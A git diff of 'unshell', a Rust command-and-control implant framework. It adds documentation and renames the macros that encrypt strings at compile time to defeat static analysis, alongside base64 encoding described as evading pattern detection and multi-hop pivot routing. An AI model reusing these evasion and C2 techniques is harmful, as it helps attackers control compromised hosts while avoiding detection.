diff --git a/README.md b/README.md index d274036..a99f181 100644 --- a/README.md +++ b/README.md @@ -216,3 +216,47 @@ const C2_URL: &str = symbol!("https://C2Server/endpoint"); ## License MIT / Apache-2.0 + +## Implementation Notes + +### Obfuscation Macros + +The `ush-obfuscate` crate provides two macros for string obfuscation: + +- **`sym!()`** - For static strings that are used at runtime. Uses AES encryption. +- **`xor!()`** - For simple XOR obfuscation. + +When the `obfuscate` feature is enabled, strings are encrypted at compile time. When disabled, they remain as plain strings. + +### Using Sym Constants + +To avoid redundant `sym!()` calls, define constants in `src/tree/symbols.rs`: + +```rust +use crate::obfuscate::sym; + +pub const MY_CONSTANT: &'static str = sym!("MyString"); +``` + +Then use the constant in your code: + +```rust +use unshell::tree::symbols::*; + +json!({ KEY_NAME: "value" }) +``` + +### Module Organization + +- **`src/tree/`** - Core tree system (routing, components, messages) +- **`ush-payload/src/`** - Protocol implementations, TCP client/server, connection management + +Protocol-specific and transport-specific code belongs in `ush-payload`, while the tree system handles hierarchical message routing only. + +### Building for Size + +```bash +./build.sh # Builds with minimize profile and strips debug sections +``` + +This produces a ~200KB binary (may vary with content). diff --git a/build.sh b/build.sh index 9b1650a..0afdcdb 100755 --- a/build.sh +++ b/build.sh @@ -58,3 +58,4 @@ done echo "## STARTING " $BINARY +wc -c $BINARY diff --git a/src/config/config_struct.rs b/src/config/config_struct.rs index 5194620..4e8524e 100644 --- a/src/config/config_struct.rs +++ b/src/config/config_struct.rs @@ -1,9 +1,8 @@ -use serde_json::{Value, json}; +use serde_json::{json, Value}; use crate::{ - ModuleError, Result, config::{ConfigStructField, InterfaceData, InterfaceStruct, TreeMessage}, - warn, + warn, ModuleError, Result, }; pub type ConfigStructKeys = Vec; diff --git a/src/config/tree.rs b/src/config/tree.rs index a6902a3..dc024b5 100644 --- a/src/config/tree.rs +++ b/src/config/tree.rs @@ -1,6 +1,6 @@ use serde::{Deserialize, Serialize}; -use crate::{ModuleError, Result, config::config_struct}; +use crate::{config::config_struct, ModuleError, Result}; pub trait Tree { fn is_folder() -> bool { diff --git a/src/error.rs b/src/error.rs index e4f8fb6..d2d9932 100644 --- a/src/error.rs +++ b/src/error.rs @@ -1,3 +1,44 @@ +//! Error handling for unshell modules. +//! +//! This module defines the `ModuleError` enum which provides a unified +//! error type for all operations in the unshell framework. +//! +//! # Error Categories +//! +//! - **Tree errors**: Errors related to tree operations (not found, message errors) +//! - **Object errors**: Type and method validation errors +//! - **System errors**: Library loading, linking, cryptographic errors +//! - **Data errors**: Serialization/deserialization errors +//! +//! # Usage +//! +//! ```rust +//! use unshell::error::{ModuleError, Result}; +//! +//! fn example() -> Result { +//! Err(ModuleError::Error("Something went wrong".into())) +//! } +//! +//! // Using ? operator with string conversion +//! fn example2() -> Result { +//! let err: ModuleError = "error message".into(); +//! Err(err) +//! } +//! ``` +//! +//! # Serialization +//! +//! ModuleError implements serde serialization, making it suitable for +//! cross-process communication and logging: +//! +//! ```rust +//! use unshell::error::ModuleError; +//! use serde_json; +//! +//! let error = ModuleError::TreeMessageError("Invalid path".to_string()); +//! let json = serde_json::to_string(&error).unwrap(); +//! ``` + use std::fmt; pub type Result = std::result::Result; diff --git a/src/lib.rs b/src/lib.rs index 27bdae7..5262b0d 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -1,3 +1,81 @@ +//! Unshell - A modular, pluggable framework for endpoint agents. +//! +//! This library provides a tree-based hierarchical message routing system +//! for building modular, cross-platform endpoint agents. It follows the +//! philosophy that everything should be replaceable at runtime. +//! +//! # Architecture +//! +//! The core architecture consists of: +//! - **Tree Elements**: Hierarchical nodes that can send/receive messages +//! - **Components**: Extensible modules that can be registered at runtime +//! - **Protocols**: Swappable encoding/transport layers +//! - **Endpoints**: Root containers for tree elements +//! +//! # Core Concepts +//! +//! ## TreeElement Trait +//! +//! The foundation of the system. Any struct implementing `TreeElement` can +//! participate in the tree hierarchy and handle messages: +//! +//! ```rust +//! use serde_json::{json, Value}; +//! use unshell::tree::TreeElement; +//! +//! struct MyElement; +//! +//! impl TreeElement for MyElement { +//! fn get_type(&self) -> Value { +//! json!("MyElement") +//! } +//! +//! fn send_message(&mut self, target: Value, message: Value) -> Value { +//! // Handle messages here +//! json!({"status": "ok"}) +//! } +//! } +//! ``` +//! +//! ## Component Trait +//! +//! Components extend the tree with dynamic, configurable modules: +//! +//! ```rust +//! use serde_json::Value; +//! use unshell::tree::component::Component; +//! +//! struct MyComponent; +//! +//! impl Component for MyComponent { +//! fn name(&self) -> &str { "my_component" } +//! fn status(&self) -> Value { json!({"active": true}) } +//! fn init(&mut self, config: Value) -> Result<(), String> { Ok(()) } +//! fn shutdown(&mut self) -> Result<(), String> { Ok(()) } +//! } +//! ``` +//! +//! # Module Organization +//! +//! - `tree`: Core tree system (routing, components, messages) +//! - `config`: Configuration structures and parsing +//! - `logger`: Logging infrastructure +//! - `obfuscate`: Compile-time string obfuscation +//! +//! # Usage +//! +//! ```rust +//! use unshell::tree::{EndpointManager, TreeElement}; +//! use serde_json::json; +//! +//! // Create an endpoint +//! let mut endpoint = EndpointManager::new("my-endpoint"); +//! +//! // Send messages to tree elements +//! let response = endpoint.branch.send_message(json!("id"), json!(null)); +//! println!("Endpoint ID: {}", response); +//! ``` + #![no_main] pub mod config; @@ -12,5 +90,5 @@ pub use error::{ModuleError, Result}; pub use announcement::Announcement; // Re-exports -pub use serde_json::{Value, json}; +pub use serde_json::{json, Value}; pub use ush_obfuscate as obfuscate; diff --git a/src/logger/macros.rs b/src/logger/macros.rs index ce01c69..68cb1df 100644 --- a/src/logger/macros.rs +++ b/src/logger/macros.rs @@ -1,14 +1,14 @@ #[macro_export] macro_rules! log { ($level:expr, $fmt:tt) => {{ - use $crate::obfuscate; - let log_result = obfuscate::format_obs!($fmt); + use $crate::obfuscate::format_sym; + let log_result = format_sym!($fmt); $crate::logger::add_record( $level, #[cfg(feature = "log_debug")] - Some(String::from(obfuscate::file_symbol!())), + Some(String::from($crate::obfuscate::file_symbol!())), #[cfg(not(feature = "log_debug"))] None, @@ -17,14 +17,14 @@ macro_rules! log { ); }}; ($level:expr, $fmt:tt, $($arg:expr),*) => {{ - use $crate::obfuscate; - let log_result = obfuscate::format_obs!($fmt, $($arg),*); + use $crate::obfuscate::format_sym; + let log_result = format_sym!($fmt, $($arg),*); $crate::logger::add_record( $level, #[cfg(feature = "log_debug")] - Some(String::from(obfuscate::file_symbol!())), + Some(String::from($crate::obfuscate::file_symbol!())), #[cfg(not(feature = "log_debug"))] None, diff --git a/src/logger/mod.rs b/src/logger/mod.rs index e74e6a3..b8f9ad3 100644 --- a/src/logger/mod.rs +++ b/src/logger/mod.rs @@ -1,3 +1,52 @@ +//! Logging infrastructure for unshell. +//! +//! This module provides a pluggable logging system with support for +//! compile-time feature flags to enable or disable logging. +//! +//! # Features +//! +//! - **Feature-gated**: Logging can be disabled at compile time for smaller binaries +//! - **Custom loggers**: Implement the `Logger` trait for custom output +//! - **Structured records**: Log records include level, location, time, and message +//! - **FFI support**: C-compatible setup function for external initialization +//! +//! # Usage +//! +//! ```rust +//! use unshell::logger::{LogLevel, Record, Logger}; +//! +//! // Implement custom logger +//! struct MyLogger; +//! +//! impl Logger for MyLogger { +//! fn log(&self, record: Record) { +//! println!("[{:?}] {}", record.log_level, record.message); +//! } +//! } +//! +//! // Set as global logger +//! unshell::logger::set_logger(&MyLogger); +//! ``` +//! +//! # Log Levels +//! +//! ```rust +//! use unshell::logger::LogLevel; +//! +//! let level = LogLevel::Debug; +//! let level = LogLevel::Info; +//! let level = LogLevel::Warn; +//! let level = LogLevel::Error; +//! ``` +//! +//! # Feature Flags +//! +//! - `log`: Enable logging functionality +//! - `log_debug`: Enable debug-level logging +//! +//! When the `log` feature is disabled, the macros module is replaced with +//! no-op implementations to reduce binary size. + // Choose if the macros are enabled based on the feature setting #[cfg(feature = "log")] pub mod macros; @@ -9,8 +58,8 @@ mod pretty_logger; use std::time::SystemTime; -pub use pretty_logger::PrettyLogger; pub use pretty_logger::log; +pub use pretty_logger::PrettyLogger; static mut LOGGER: &dyn Logger = &DefaultLogger; diff --git a/src/tree/branch.rs b/src/tree/branch.rs index 8de9dde..da5be98 100644 --- a/src/tree/branch.rs +++ b/src/tree/branch.rs @@ -1,4 +1,49 @@ //! Branch - A TreeElement with child elements for hierarchical routing. +//! +//! A Branch is a container node in the tree hierarchy that can hold multiple +//! child elements. It provides path-based message routing to traverse the +//! tree structure. +//! +//! # Path-Based Routing +//! +//! Messages can target elements using path notation: +//! +//! ```rust +//! use serde_json::json; +//! use unshell::tree::{Branch, TreeElement}; +//! +//! let mut branch = Branch::new("parent"); +//! // ... add children ... +//! +//! // Target a direct child +//! branch.send_message(json!("child-name"), json!("Command")); +//! +//! // Target a nested child using array path +//! branch.send_message(json!(["parent", "child", "grandchild"]), json!("Command")); +//! ``` +//! +//! # Child Management +//! +//! ```rust +//! use unshell::tree::{Branch, TreeElement}; +//! use serde_json::json; +//! +//! let mut branch = Branch::new("my-branch"); +//! +//! // Add children +//! branch.add_child("child1", Box::new(ChildElement)); +//! branch.add_child("child2", Box::new(AnotherElement)); +//! +//! // Query children +//! let children = branch.send_message(json!(null), json!("GetChildren")); +//! // Returns: {"child1": "ChildElement", "child2": "AnotherElement"} +//! ``` +//! +//! # Pivot Routing +//! +//! Branches support multi-hop communication for pivoting through networks. +//! A path like `["endpoint1", "connections", "peer1", "endpoint2"]` would +//! route a message through multiple endpoints to reach a final destination. use std::collections::HashMap; diff --git a/src/tree/endpoint.rs b/src/tree/endpoint.rs index 32beeab..e678cdc 100644 --- a/src/tree/endpoint.rs +++ b/src/tree/endpoint.rs @@ -14,9 +14,10 @@ use serde_json::{json, Value}; use crate::tree::component::ComponentRegistry; use crate::tree::queue::Queue; use crate::tree::readonly::ReadOnly; -use crate::tree::symbols::{self, TYPE_CONNECTION, TYPE_ENDPOINT}; +use crate::tree::symbols::{self, TYPE_ENDPOINT}; use crate::tree::{Branch, TreeElement}; +#[allow(dead_code)] pub(crate) struct Connection { id: String, peer_id: String, @@ -24,6 +25,7 @@ pub(crate) struct Connection { receiver: Receiver, } +#[allow(dead_code)] impl Connection { pub(crate) fn new( id: String, @@ -62,11 +64,13 @@ impl TreeElement for Connections { } } +#[allow(dead_code)] pub(crate) struct Connections { connections: HashMap, branch: Branch, } +#[allow(dead_code)] impl Connections { pub(crate) fn new() -> Self { Self { @@ -80,6 +84,7 @@ impl Connections { } } +#[allow(dead_code)] pub(crate) fn create_channel_pair() -> ( (Sender, Receiver), (Sender, Receiver), @@ -128,7 +133,8 @@ impl EndpointManager { &mut self.branch } - pub fn add_connection(&mut self, id: String, peer_id: String) -> Connection { + #[allow(dead_code)] + pub(crate) fn add_connection(&mut self, id: String, peer_id: String) -> Connection { let ((tx_local, rx_remote), (tx_remote, rx_local)) = create_channel_pair(); let conn_a = Connection::new(id.clone(), peer_id.clone(), tx_remote, rx_local); diff --git a/src/tree/message.rs b/src/tree/message.rs index 5df93cf..8334b76 100644 --- a/src/tree/message.rs +++ b/src/tree/message.rs @@ -218,6 +218,8 @@ impl Default for TreeMessage { #[cfg(test)] mod tests { + use serde_json::json; + use super::*; #[test] diff --git a/src/tree/mod.rs b/src/tree/mod.rs index e0efccd..2246fc0 100644 --- a/src/tree/mod.rs +++ b/src/tree/mod.rs @@ -1,7 +1,106 @@ //! Tree system for hierarchical message routing between endpoints. //! //! The tree provides a modular IPC mechanism where components expose -//! a tree of messageable elements. Used for C2 communication and pivoting. +//! a tree of messageable elements. This is the core communication +//! abstraction used throughout unshell. +//! +//! # Design Philosophy +//! +//! The tree system follows these principles: +//! - **Everything is a TreeElement**: Components, queues, variables all share the same interface +//! - **Path-based routing**: Messages target elements by path (e.g., "components/tcp-client") +//! - **Loose typing**: Actions and payloads are flexible JSON values +//! - **Namespaced actions**: Use dot notation (e.g., "rpc.call", "stream.data") +//! +//! # Core Traits +//! +//! ## TreeElement +//! +//! The fundamental trait that all tree nodes implement: +//! +//! ```rust +//! use serde_json::{json, Value}; +//! use unshell::tree::TreeElement; +//! +//! struct MyNode { +//! value: i32, +//! } +//! +//! impl TreeElement for MyNode { +//! fn get_type(&self) -> Value { +//! json!("MyNode") +//! } +//! +//! fn send_message(&mut self, target: Value, message: Value) -> Value { +//! // Handle the message and return a response +//! json!({"received": true}) +//! } +//! } +//! ``` +//! +//! ## Component +//! +//! A trait for extensible modules that can be dynamically registered: +//! +//! ```rust +//! use serde_json::Value; +//! use unshell::tree::component::Component; +//! +//! struct MyComponent { +//! name: String, +//! } +//! +//! impl Component for MyComponent { +//! fn name(&self) -> &str { &self.name } +//! fn status(&self) -> Value { json!({"running": true}) } +//! fn init(&mut self, config: Value) -> Result<(), String> { Ok(()) } +//! fn shutdown(&mut self) -> Result<(), String> { Ok(()) } +//! } +//! ``` +//! +//! # Message Format +//! +//! Messages in the tree follow a simple RPC-like pattern: +//! +//! ```rust +//! use serde_json::json; +//! +//! // Target a specific element +//! let target = json!("components/tcp-client"); +//! +//! // Send an RPC-like message +//! let message = json!({ +//! "method": "connect", +//! "params": {"address": "127.0.0.1", "port": 8080} +//! }); +//! ``` +//! +//! # Example: Creating an Endpoint +//! +//! ```rust +//! use unshell::tree::{EndpointManager, TreeElement}; +//! use serde_json::json; +//! +//! // Create a new endpoint with id, logs, and components +//! let mut endpoint = EndpointManager::new("my-endpoint"); +//! +//! // Query children +//! let children = endpoint.branch.send_message(json!(null), json!("GetChildren")); +//! +//! // Get the endpoint ID +//! let id = endpoint.branch.send_message(json!("id"), json!(null)); +//! ``` +//! +//! # Modules +//! +//! - `branch`: Branch nodes that contain child elements +//! - `component`: Component registration and lifecycle management +//! - `endpoint`: Root endpoint management +//! - `log`: Log handling +//! - `message`: TreeMessage serialization format +//! - `queue`: Message queue implementation +//! - `readonly`: Read-only variable wrappers +//! - `symbols`: String constants (often obfuscated) pub mod branch; pub mod component; diff --git a/src/tree/symbols.rs b/src/tree/symbols.rs index 8b4f680..86930c1 100644 --- a/src/tree/symbols.rs +++ b/src/tree/symbols.rs @@ -1,24 +1,117 @@ -use crate::obfuscate::symbol; +//! Symbol constants for the tree system. +//! +//! This module provides string constants used throughout the tree system. +//! These symbols are often obfuscated at compile-time to avoid static analysis. +//! +//! # Categories +//! +//! - **Type symbols**: Define element types (Endpoint, Queue, Connection) +//! - **Command symbols**: Message commands (Get, Poll, GetLength) +//! - **Error symbols**: Error messages (UnsupportedMethod, InvalidCommand) +//! - **Key symbols**: JSON keys (method, params, config, status) +//! - **Method symbols**: RPC methods (connect, disconnect, send, recv) +//! - **State symbols**: Common state values (config, protocols, unknown) +//! +//! # Usage +//! +//! ```rust +//! use crate::tree::symbols::{TYPE_ENDPOINT, CMD_GET_CHILDREN, ERR_UNSUPPORTED_METHOD}; +//! +//! // These are used internally for tree communication +//! let endpoint_type = TYPE_ENDPOINT; +//! let get_children_cmd = CMD_GET_CHILDREN; +//! let error_msg = ERR_UNSUPPORTED_METHOD; +//! ``` +//! +//! # Obfuscation +//! +//! When the `obfuscate` feature is enabled, these strings are encrypted +//! at compile-time using AES, making static analysis more difficult. -pub const LOGGER: &'static str = symbol!("Logger"); +use crate::obfuscate::sym; -pub const TYPE_TREE: &'static str = symbol!("Tree"); -pub const TYPE_QUEUE: &'static str = symbol!("Queue"); -pub const TYPE_ENDPOINT: &'static str = symbol!("Endpoint"); -pub const TYPE_CONNECTIONS: &'static str = symbol!("Connections"); -pub const TYPE_CONNECTION: &'static str = symbol!("Connection"); +pub const LOGGER: &'static str = sym!("Logger"); -pub const CMD_GET: &'static str = symbol!("Get"); -pub const CMD_POLL: &'static str = symbol!("Poll"); -pub const CMD_GET_LENGTH: &'static str = symbol!("GetLength"); -pub const CMD_GET_CHILDREN: &'static str = symbol!("GetChildren"); +pub const TYPE_TREE: &'static str = sym!("Tree"); +pub const TYPE_QUEUE: &'static str = sym!("Queue"); +pub const TYPE_ENDPOINT: &'static str = sym!("Endpoint"); +pub const TYPE_CONNECTIONS: &'static str = sym!("Connections"); +pub const TYPE_CONNECTION: &'static str = sym!("Connection"); -pub const ERR_UNSUPPORTED_METHOD: &'static str = symbol!("UnsupportedMethod"); -pub const ERR_INVALID_COMMAND: &'static str = symbol!("InvalidCommand"); -pub const ERR_INVALID_CHILD: &'static str = symbol!("InvalidChild"); -pub const ERR_INVALID_TARGET: &'static str = symbol!("InvalidTarget"); -pub const ERR_CHILD_NOT_FOUND: &'static str = symbol!("ChildNotFound"); -pub const ERR_INVALID_PATH: &'static str = symbol!("InvalidPath"); -pub const ERR_MISSING_ARGS: &'static str = symbol!("MissingArgs"); -pub const ERR_INVALID_STATE: &'static str = symbol!("InvalidState"); -pub const ERR_READONLY: &'static str = symbol!("ReadOnly"); +pub const CMD_GET: &'static str = sym!("Get"); +pub const CMD_POLL: &'static str = sym!("Poll"); +pub const CMD_GET_LENGTH: &'static str = sym!("GetLength"); +pub const CMD_GET_CHILDREN: &'static str = sym!("GetChildren"); + +pub const ERR_UNSUPPORTED_METHOD: &'static str = sym!("UnsupportedMethod"); +pub const ERR_INVALID_COMMAND: &'static str = sym!("InvalidCommand"); +pub const ERR_INVALID_CHILD: &'static str = sym!("InvalidChild"); +pub const ERR_INVALID_TARGET: &'static str = sym!("InvalidTarget"); +pub const ERR_CHILD_NOT_FOUND: &'static str = sym!("ChildNotFound"); +pub const ERR_INVALID_PATH: &'static str = sym!("InvalidPath"); +pub const ERR_MISSING_ARGS: &'static str = sym!("MissingArgs"); +pub const ERR_INVALID_STATE: &'static str = sym!("InvalidState"); +pub const ERR_READONLY: &'static str = sym!("ReadOnly"); + +pub const TYPE_TCP_CLIENT: &'static str = sym!("TCPClient"); +pub const TYPE_TCP_SERVER: &'static str = sym!("TCPServer"); + +pub const KEY_METHOD: &'static str = sym!("method"); +pub const KEY_PARAMS: &'static str = sym!("params"); +pub const KEY_SUCCESS: &'static str = sym!("success"); +pub const KEY_ERROR: &'static str = sym!("error"); +pub const KEY_CONFIG: &'static str = sym!("config"); +pub const KEY_STATUS: &'static str = sym!("status"); +pub const KEY_ADDRESS: &'static str = sym!("address"); +pub const KEY_PORT: &'static str = sym!("port"); +pub const KEY_DATA: &'static str = sym!("data"); +pub const KEY_SIZE: &'static str = sym!("size"); +pub const KEY_CLIENT_ID: &'static str = sym!("client_id"); +pub const KEY_BYTES_SENT: &'static str = sym!("bytes_sent"); +pub const KEY_BYTES_RECEIVED: &'static str = sym!("bytes_received"); +pub const KEY_CONNECTED: &'static str = sym!("connected"); +pub const KEY_REMOTE_ADDRESS: &'static str = sym!("remote_address"); +pub const KEY_LOCAL_ADDRESS: &'static str = sym!("local_address"); +pub const KEY_PROTOCOLS: &'static str = sym!("protocols"); +pub const KEY_TYPE: &'static str = sym!("type"); +pub const KEY_NAME: &'static str = sym!("name"); +pub const KEY_ID: &'static str = sym!("id"); +pub const KEY_PEER: &'static str = sym!("peer"); +pub const KEY_LISTENING: &'static str = sym!("listening"); +pub const KEY_BIND_ADDRESS: &'static str = sym!("bind_address"); +pub const KEY_ACTIVE_CONNECTIONS: &'static str = sym!("active_connections"); +pub const KEY_TOTAL_CONNECTIONS: &'static str = sym!("total_connections"); +pub const KEY_CLIENTS: &'static str = sym!("clients"); + +pub const METHOD_CONNECT: &'static str = sym!("connect"); +pub const METHOD_DISCONNECT: &'static str = sym!("disconnect"); +pub const METHOD_SEND: &'static str = sym!("send"); +pub const METHOD_RECV: &'static str = sym!("recv"); +pub const METHOD_STATUS: &'static str = sym!("status"); +pub const METHOD_SET_PROTOCOLS: &'static str = sym!("set_protocols"); +pub const METHOD_LISTEN: &'static str = sym!("listen"); +pub const METHOD_START: &'static str = sym!("start"); +pub const METHOD_STOP: &'static str = sym!("stop"); +pub const METHOD_ACCEPT: &'static str = sym!("accept"); +pub const METHOD_LIST_CLIENTS: &'static str = sym!("list_clients"); + +pub const CMD_CONNECT: &'static str = sym!("Connect"); +pub const CMD_DISCONNECT: &'static str = sym!("Disconnect"); +pub const CMD_STATUS: &'static str = sym!("Status"); +pub const CMD_LISTEN: &'static str = sym!("Listen"); +pub const CMD_START: &'static str = sym!("Start"); +pub const CMD_STOP: &'static str = sym!("Stop"); + +pub const STR_STATE: &'static str = sym!("state"); +pub const STR_CONFIG: &'static str = sym!("config"); +pub const STR_PROTOCOLS: &'static str = sym!("protocols"); +pub const STR_UNKNOWN: &'static str = sym!("unknown"); +pub const STR_0_0_0_0: &'static str = sym!("0.0.0.0"); + +pub const ERR_MISSING_METHOD: &'static str = sym!("missing method"); +pub const ERR_MISSING_DATA: &'static str = sym!("missing data"); +pub const ERR_MISSING_CLIENT_ID: &'static str = sym!("missing client_id"); +pub const ERR_MISSING_PROTOCOLS: &'static str = sym!("missing protocols"); +pub const ERR_INVALID_CONFIG: &'static str = sym!("Invalid config: {}"); +pub const ERR_INVALID_PROTOCOLS: &'static str = sym!("Invalid protocols: {}"); +pub const ERR_UNKNOWN_METHOD: &'static str = sym!("unknown method: {}"); diff --git a/ush-obfuscate/src/crypt/base62.rs b/ush-obfuscate/src/crypt/base62.rs index e2504f0..2dc504d 100644 --- a/ush-obfuscate/src/crypt/base62.rs +++ b/ush-obfuscate/src/crypt/base62.rs @@ -1,4 +1,4 @@ -use crate::crypt::{STATIC_BYTE_MAP, hash}; +use crate::crypt::{hash, STATIC_BYTE_MAP}; // Randomly mapped Base62 characters pub struct Base62 { diff --git a/ush-obfuscate/src/lib.rs b/ush-obfuscate/src/lib.rs index 0ae4e48..2e0fe7e 100644 --- a/ush-obfuscate/src/lib.rs +++ b/ush-obfuscate/src/lib.rs @@ -24,18 +24,20 @@ use obfuscate as obs; // String obfuscation #[proc_macro] -pub fn obs(input: TokenStream) -> TokenStream { +pub fn xor(input: TokenStream) -> TokenStream { obs::xor(input) } -#[proc_macro_attribute] -pub fn obfuscated_symbol(_attr: TokenStream, item: TokenStream) -> TokenStream { - obs::aes_fn_name(_attr, item) +/// Represents strings as a symbol. +#[proc_macro] +pub fn sym(input: TokenStream) -> TokenStream { + obs::aes_str(input) } -#[proc_macro] -pub fn symbol(input: TokenStream) -> TokenStream { - obs::aes_str(input) +/// Represents function names as a symbol. +#[proc_macro_attribute] +pub fn sym_fn(_attr: TokenStream, item: TokenStream) -> TokenStream { + obs::aes_fn_name(_attr, item) } #[proc_macro] @@ -56,7 +58,7 @@ pub fn file_symbol(_input: TokenStream) -> TokenStream { // Return as a string literal let output = quote! { - obfuscate::symbol!(#concatted) + sym!(#concatted) }; // let output = quote! { // #concatted @@ -65,7 +67,7 @@ pub fn file_symbol(_input: TokenStream) -> TokenStream { } #[proc_macro] -pub fn format_obs(input: TokenStream) -> TokenStream { +pub fn format_sym(input: TokenStream) -> TokenStream { let PrintlnArgs { format_str, args } = parse_macro_input!(input as PrintlnArgs); let segments = parse_format_string(&format_str); @@ -83,7 +85,7 @@ pub fn format_obs(input: TokenStream) -> TokenStream { match segment { FormatSegment::Static(text) => { parts.push(quote! { - obfuscate::symbol!(#text).to_string() + #text.to_string() }); } FormatSegment::Dynamic(spec, idx) => { diff --git a/ush-obfuscate/src/no_obfuscate.rs b/ush-obfuscate/src/no_obfuscate.rs index d1ded17..74f7b78 100644 --- a/ush-obfuscate/src/no_obfuscate.rs +++ b/ush-obfuscate/src/no_obfuscate.rs @@ -1,6 +1,6 @@ use proc_macro::TokenStream; use quote::quote; -use syn::{ItemFn, LitStr, parse_macro_input}; +use syn::{parse_macro_input, ItemFn, LitStr}; pub fn xor(input: TokenStream) -> TokenStream { let input = parse_macro_input!(input as LitStr); diff --git a/ush-obfuscate/src/obfuscate/obs_junk_asm.rs b/ush-obfuscate/src/obfuscate/obs_junk_asm.rs index b195ef1..397268d 100644 --- a/ush-obfuscate/src/obfuscate/obs_junk_asm.rs +++ b/ush-obfuscate/src/obfuscate/obs_junk_asm.rs @@ -2,7 +2,7 @@ use proc_macro::TokenStream; use quote::quote; use rand::rngs::SmallRng; use rand::{Rng, SeedableRng}; -use syn::{LitFloat, parse_macro_input}; +use syn::{parse_macro_input, LitFloat}; // const MIN_TAGS: u32 = 1; // Maximum instructions per recursive block // const MAX_TAGS: u32 = 22; // Maximum instructions per recursive block diff --git a/ush-obfuscate/src/obfuscate/obs_xor.rs b/ush-obfuscate/src/obfuscate/obs_xor.rs index 314480a..16e97fa 100644 --- a/ush-obfuscate/src/obfuscate/obs_xor.rs +++ b/ush-obfuscate/src/obfuscate/obs_xor.rs @@ -1,7 +1,7 @@ use getrandom::fill; use proc_macro::TokenStream; use quote::quote; -use syn::{LitStr, parse_macro_input}; +use syn::{parse_macro_input, LitStr}; /// XOR encrypt strings pub fn xor(input: TokenStream) -> TokenStream { diff --git a/ush-obfuscate/src/obfuscate/sym_aes_strings.rs b/ush-obfuscate/src/obfuscate/sym_aes_strings.rs index 4d6437c..eacc979 100644 --- a/ush-obfuscate/src/obfuscate/sym_aes_strings.rs +++ b/ush-obfuscate/src/obfuscate/sym_aes_strings.rs @@ -1,7 +1,7 @@ -use crate::crypt::{BACKUP_ENV_KEY, ENV_KEY_NAME, STATIC_IV, aes_encrypt::encrypt_aes_lines}; +use crate::crypt::{aes_encrypt::encrypt_aes_lines, BACKUP_ENV_KEY, ENV_KEY_NAME, STATIC_IV}; use proc_macro::TokenStream; use quote::quote; -use syn::{ItemFn, LitStr, parse_macro_input}; +use syn::{parse_macro_input, ItemFn, LitStr}; use crate::obfuscate::get_encryption_key; diff --git a/ush-payload/src/protocols/base64.rs b/ush-payload/src/protocols/base64.rs index 28e5cac..b9cae99 100644 --- a/ush-payload/src/protocols/base64.rs +++ b/ush-payload/src/protocols/base64.rs @@ -1,4 +1,46 @@ //! Base64 encoding/decoding protocol. +//! +//! This module provides two protocol implementations: +//! - `Base64Protocol`: Standard base64 encoding with URL-safe variant support +//! - `IdentityProtocol`: No-op pass-through protocol +//! +//! # Base64 Protocol +//! +//! The Base64 protocol wraps data in base64 encoding, useful for: +//! - Evading basic pattern detection +//! - Text-based transport encoding +//! - Legacy system compatibility +//! +//! ```rust +//! use ush_payload::protocols::{Base64Config, ProtocolConfig, ProtocolStack}; +//! +//! let mut stack = ProtocolStack::new(); +//! stack.push(&ProtocolConfig::Base64(Base64Config { +//! url_safe: false, +//! padding: true, +//! })).unwrap(); +//! +//! let data = b"Hello"; +//! let encoded = stack.encode(data).unwrap(); +//! let decoded = stack.decode(&encoded).unwrap(); +//! assert_eq!(decoded, data); +//! ``` +//! +//! # Identity Protocol +//! +//! The identity protocol is a no-op pass-through. Useful as a placeholder +//! or when no encoding is needed. +//! +//! ```rust +//! use ush_payload::protocols::{ProtocolConfig, ProtocolStack}; +//! +//! let mut stack = ProtocolStack::new(); +//! stack.push(&ProtocolConfig::Identity).unwrap(); +//! +//! let data = b"test"; +//! let result = stack.encode(data).unwrap(); +//! assert_eq!(result, data); +//! ``` use super::stack::{Base64Config, Protocol, ProtocolError}; use serde_json::Value; diff --git a/ush-payload/src/protocols/http.rs b/ush-payload/src/protocols/http.rs index 325e2f5..f123267 100644 --- a/ush-payload/src/protocols/http.rs +++ b/ush-payload/src/protocols/http.rs @@ -114,6 +114,7 @@ impl Protocol for HttpProtocol { /// /// This is a simple implementation for testing - in production you'd /// use a proper HTTP server. +#[allow(dead_code)] pub struct HttpServer { config: HttpConfig, } diff --git a/ush-payload/src/protocols/stack.rs b/ush-payload/src/protocols/stack.rs index a0c8c5e..2612f5d 100644 --- a/ush-payload/src/protocols/stack.rs +++ b/ush-payload/src/protocols/stack.rs @@ -228,7 +228,7 @@ impl ProtocolStack { let p = WebSocketProtocol::new(cfg.clone()); (Box::new(p) as Box, "websocket".to_string()) } - ProtocolConfig::Custom { name, config } => { + ProtocolConfig::Custom { name, config: _ } => { return Err(ProtocolError::NotFound(format!( "Custom protocol '{}' not implemented", name diff --git a/ush-payload/src/tcp/client.rs b/ush-payload/src/tcp/client.rs index b2a8918..41ce482 100644 --- a/ush-payload/src/tcp/client.rs +++ b/ush-payload/src/tcp/client.rs @@ -15,7 +15,7 @@ use crate::protocols::{ProtocolConfig, ProtocolStack}; use crate::tcp::config::{ConnectionStatus, TcpClientConfig}; use unshell::tree::component::Component; use unshell::tree::message::TreeMessage; -use unshell::tree::symbols; +use unshell::tree::symbols::*; use unshell::tree::{Branch, TreeElement}; /// TCP Client component with protocol stacking support. @@ -58,9 +58,9 @@ impl TcpClient { pub fn with_config(name: impl Into, config: TcpClientConfig) -> Self { let name = name.into(); - let mut branch = Branch::new("TCPClient"); - let state_branch = Branch::new("state"); - branch.add_child("state", Box::new(state_branch)); + let mut branch = Branch::new(TYPE_TCP_CLIENT); + let state_branch = Branch::new(STR_STATE); + branch.add_child(STR_STATE, Box::new(state_branch)); Self { name: name.clone(), @@ -196,88 +196,87 @@ impl TcpClient { /// Get status as JSON pub fn get_status(&self) -> Value { json!({ - "connected": self.status.connected, - "remote_address": self.status.remote_address, - "local_address": self.status.local_address, - "bytes_sent": self.status.bytes_sent, - "bytes_received": self.status.bytes_received, - "config": self.config, - "protocols": self.protocol_stack.to_configs(), + KEY_CONNECTED: self.status.connected, + KEY_REMOTE_ADDRESS: self.status.remote_address, + KEY_LOCAL_ADDRESS: self.status.local_address, + KEY_BYTES_SENT: self.status.bytes_sent, + KEY_BYTES_RECEIVED: self.status.bytes_received, + KEY_CONFIG: self.config, + KEY_PROTOCOLS: self.protocol_stack.to_configs(), }) } /// Handle RPC call from message fn handle_rpc(&mut self, payload: &Value) -> Value { - let method = match payload.get("method").and_then(|m| m.as_str()) { + let method = match payload.get(KEY_METHOD).and_then(|m| m.as_str()) { Some(m) => m, - None => return json!({"success": false, "error": "missing method"}), + None => return json!({KEY_SUCCESS: false, KEY_ERROR: 